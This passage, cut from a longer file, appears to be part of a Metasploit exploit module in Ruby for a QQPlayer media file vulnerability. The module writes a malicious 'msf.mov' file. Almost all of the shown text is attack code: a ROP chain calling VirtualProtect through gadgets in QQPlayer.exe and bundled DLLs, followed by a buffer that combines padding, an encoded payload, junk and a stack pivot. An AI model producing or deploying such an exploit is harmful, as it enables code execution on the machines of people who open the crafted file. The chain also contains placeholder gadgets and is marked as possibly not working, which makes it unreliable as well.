register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
], self.class)
end
def exploit
# !mona rop
rop_gadgets =
[
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x12345678,
0x67664CE4,
0x01020304,
0x10203040,
0x22331122,
0x23456789,
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x00a9c18c, # <- *&VirtualProtect()
0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
0x008cf099, # XCHG EAX,ESI # RETN
0x6497aaad, # POP EBP # RETN (avformat-52.dll)
0x100272bf, # ptr to 'call esp' (from i18nu.dll)
0x005fc00b, # POP EBX # RETN (QQPlayer.exe)
0x00000331, # <- change size to mark as executable if needed (-> ebx)
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x63d18000, # RW pointer (lpOldProtect) (-> ecx)
0x63d05001, # POP EDI # RETN (avutil-49.dll)
0x63d05002, # ROP NOP (-> edi)
0x008bf00b, # POP EDX # RETN (QQPlayer.exe)
0x00000040, # newProtect (0x40) (-> edx)
0x00468800, # POP EAX # RETN (QQPlayer.exe)
0x90909090, # NOPS (-> eax)
0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
stackpivot = [target.ret].pack('L')
buffer =rand_text_alpha_upper(90)#2
buffer << rop_gadgets
buffer << payload.encoded
junk = rand_text_alpha_upper(2306 - buffer.length)
buffer << junk
buffer << stackpivot
buffer << rand_text_alpha_upper(3000)#3000